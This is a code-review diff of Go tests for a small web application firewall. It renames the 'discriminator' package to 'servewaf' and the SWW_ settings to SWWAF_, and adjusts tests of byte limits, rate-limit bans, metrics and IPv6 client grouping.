||||
map[string]string{
|
||||
bytesLimitPerMinute: twoUploads, tagLimitPercent: asnTagDEQuarter,
|
||||
bytesLimitPerMinute: twoUploads, asnLimitPercent: asnDEQuarter,
|
||||
asnBytesPercent: asnDEHalf,
|
||||
},
|
||||
0, http.StatusOK, requestlog.ActionForward,
|
||||
@@ -437,7 +419,7 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(t *testing.T
|
||||
// clock.
|
||||
func startWithLookups(
|
||||
t *testing.T, env map[string]string,
|
||||
) (*sender, *discriminator.Server, *alerts.Queue) {
|
||||
) (*sender, *servewaf.Server, *alerts.Queue) {
|
||||
t.Helper()
|
||||
|
||||
s, _, server, queue := startWithLookupsAndClock(t, env)
|
||||
@@ -452,7 +434,7 @@ func startWithLookups(
|
||||
// country, and no other address.
|
||||
func startWithLookupsAndClock(
|
||||
t *testing.T, env map[string]string,
|
||||
) (*sender, *clock, *discriminator.Server, *alerts.Queue) {
|
||||
) (*sender, *clock, *servewaf.Server, *alerts.Queue) {
|
||||
t.Helper()
|
||||
|
||||
path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
|
||||
@@ -481,13 +463,11 @@ func (s *sender) uploadFrom(from string) logLine {
|
||||
// serveFromDE hands a question about a request from fromDE with method and body
|
||||
// straight to server's handler, without the network, and returns once it is
|
||||
// answered.
|
||||
func serveFromDE(
|
||||
t *testing.T, server *discriminator.Server, method string, body io.Reader,
|
||||
) {
|
||||
func serveFromDE(t *testing.T, server *servewaf.Server, method string, body io.Reader) {
|
||||
t.Helper()
|
||||
|
||||
req := httptest.NewRequestWithContext(t.Context(), method, "/", body)
|
||||
req.Header.Set(discriminator.ClientHeader, fromDE)
|
||||
req.Header.Set(servewaf.ClientHeader, fromDE)
|
||||
req.Header.Set(requestIDHeader, "the-id")
|
||||
|
||||
server.Handler.ServeHTTP(httptest.NewRecorder(), req)
|
||||
@@ -505,7 +485,7 @@ func wantPercent(t *testing.T, what string, percent *int64, setting, want string
|
||||
}
|
||||
|
||||
// percentText gives a limit percentage and the setting that gave it as
|
||||
// text, such as "50 from SWW_TAG_LIMIT_PERCENT", or none when both are
|
||||
// text, such as "50 from SWWAF_ASN_LIMIT_PERCENT", or none when both are
|
||||
// left out.
|
||||
func percentText(percent *int64, setting string) string {
|
||||
switch {
|
||||
@@ -1,4 +1,4 @@
|
||||
package discriminator_test
|
||||
package servewaf_test
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
@@ -19,13 +19,13 @@ import (
|
||||
|
||||
// The byte limit settings.
|
||||
const (
|
||||
bytesLimitPerMinute = "SWW_BYTES_LIMIT_PER_MINUTE"
|
||||
bytesLimitPerHour = "SWW_BYTES_LIMIT_PER_HOUR"
|
||||
bytesLimitPerDay = "SWW_BYTES_LIMIT_PER_DAY"
|
||||
bytesCount = "SWW_BYTES_COUNT"
|
||||
bytesLimitPerMinute = "SWWAF_BYTES_LIMIT_PER_MINUTE"
|
||||
bytesLimitPerHour = "SWWAF_BYTES_LIMIT_PER_HOUR"
|
||||
bytesLimitPerDay = "SWWAF_BYTES_LIMIT_PER_DAY"
|
||||
bytesCount = "SWWAF_BYTES_COUNT"
|
||||
)
|
||||
|
||||
// The values of SWW_BYTES_COUNT.
|
||||
// The values of SWWAF_BYTES_COUNT.
|
||||
const (
|
||||
countResponse = "response"
|
||||
countRequest = "request"
|
||||
@@ -40,7 +40,7 @@ const (
|
||||
// byteLimit is the byte limit these tests set, as a setting: a request
|
||||
// with a body and its answer, 100 bytes, go over it.
|
||||
byteLimit = "99"
|
||||
// minuteBytes is limit_hit for SWW_BYTES_LIMIT_PER_MINUTE.
|
||||
// minuteBytes is limit_hit for SWWAF_BYTES_LIMIT_PER_MINUTE.
|
||||
minuteBytes = "minute_bytes"
|
||||
)
|
||||
|
||||
@@ -90,29 +90,14 @@ func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) {
|
||||
line.BanExpires, tc.window, expires)
|
||||
}
|
||||
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionBanned)
|
||||
|
||||
wantMetric(t, s.scrape(), `sww_rate_limit_hits_total{`+
|
||||
wantMetric(t, s.scrape(), `smallwebwaf_rate_limit_hits_total{`+
|
||||
`instance="`+alertInstance+`",kind="bytes",window="`+tc.window+`"}`, 1)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestByteLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _ := startWithAnswers(t, map[string]string{bytesLimitPerMinute: byteLimit})
|
||||
|
||||
line, _ := s.download()
|
||||
wantAfterAnswerHeuristic(t, line, "", "null")
|
||||
|
||||
// Two answers of 70 bytes are over the limit of 99.
|
||||
line, _ = s.download()
|
||||
wantHeuristic(t, line, "", "null")
|
||||
wantAfterAnswerHeuristic(t, line, "byte_limits",
|
||||
`{"window": "minute", "count": 140, "limit": 99}`)
|
||||
}
|
||||
|
||||
func TestResponseOverAByteLimitByItselfIsPassedOnWhole(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
@@ -125,7 +110,7 @@ func TestResponseOverAByteLimitByItselfIsPassedOnWhole(t *testing.T) {
|
||||
len(got.body), got.err, line.LimitHit, answerBytes, minuteBytes)
|
||||
}
|
||||
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionBanned)
|
||||
}
|
||||
|
||||
func TestBytesOfAnAnswerThatBreaksOffAreCounted(t *testing.T) {
|
||||
@@ -147,7 +132,7 @@ func TestBytesOfAnAnswerThatBreaksOffAreCounted(t *testing.T) {
|
||||
answerBytes, minuteBytes, expires)
|
||||
}
|
||||
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionBanned)
|
||||
}
|
||||
|
||||
func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) {
|
||||
@@ -176,7 +161,7 @@ func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) {
|
||||
line.LimitHit, line.Counts.MinuteBytes, minuteBytes, tc.counted)
|
||||
}
|
||||
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionBanned)
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -218,7 +203,7 @@ func TestBytesCountSaysWhichBytesCount(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionBanned)
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -227,8 +212,8 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const (
|
||||
allowed = "192.0.2.7" // in SWW_ALLOW_NETS
|
||||
exempt = "192.0.2.10" // in SWW_RATE_LIMIT_EXEMPT_NETS
|
||||
allowed = "192.0.2.7" // in SWWAF_ALLOW_NETS
|
||||
exempt = "192.0.2.10" // in SWWAF_RATE_LIMIT_EXEMPT_NETS
|
||||
)
|
||||
|
||||
s, _ := startWithAnswers(t, map[string]string{
|
||||
@@ -386,7 +371,7 @@ func TestObserveModeLeavesOutTheBytesOfARequestEnforceModeRefuses(t *testing.T)
|
||||
// counted, and the byte limit is not broken. Its line gives the bytes
|
||||
// counted before it.
|
||||
line := s.upload()
|
||||
wantWouldAction(t, line, requestlog.ActionClientIsRateLimited)
|
||||
wantWouldAction(t, line, requestlog.ActionRateLimited)
|
||||
|
||||
if line.LimitHit != minute || line.Counts.MinuteBytes != bodyBytes+answerBytes {
|
||||
t.Errorf("log line has limit_hit %q and minute_bytes %v, want minute and %d",
|
||||
@@ -1,4 +1,4 @@
|
||||
package discriminator
|
||||
package servewaf
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
@@ -43,7 +43,7 @@ func scheme(r *http.Request, isQuestion bool) string {
|
||||
|
||||
// clientGroup is the client a request is counted toward: its IPv4
|
||||
// address, or its IPv6 group, the netblock its IPv6 address is in of the
|
||||
// length SWW_IPV6_GROUP_PREFIX sets, a /64 by default, since one abuser
|
||||
// length SWWAF_IPV6_GROUP_PREFIX sets, a /64 by default, since one abuser
|
||||
// usually holds a whole /64. An IPv4 address in IPv6 form counts as IPv4.
|
||||
func (h *handler) clientGroup(addr netip.Addr) netip.Prefix {
|
||||
addr = addr.Unmap()
|
||||
Loaded 100 of 147 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user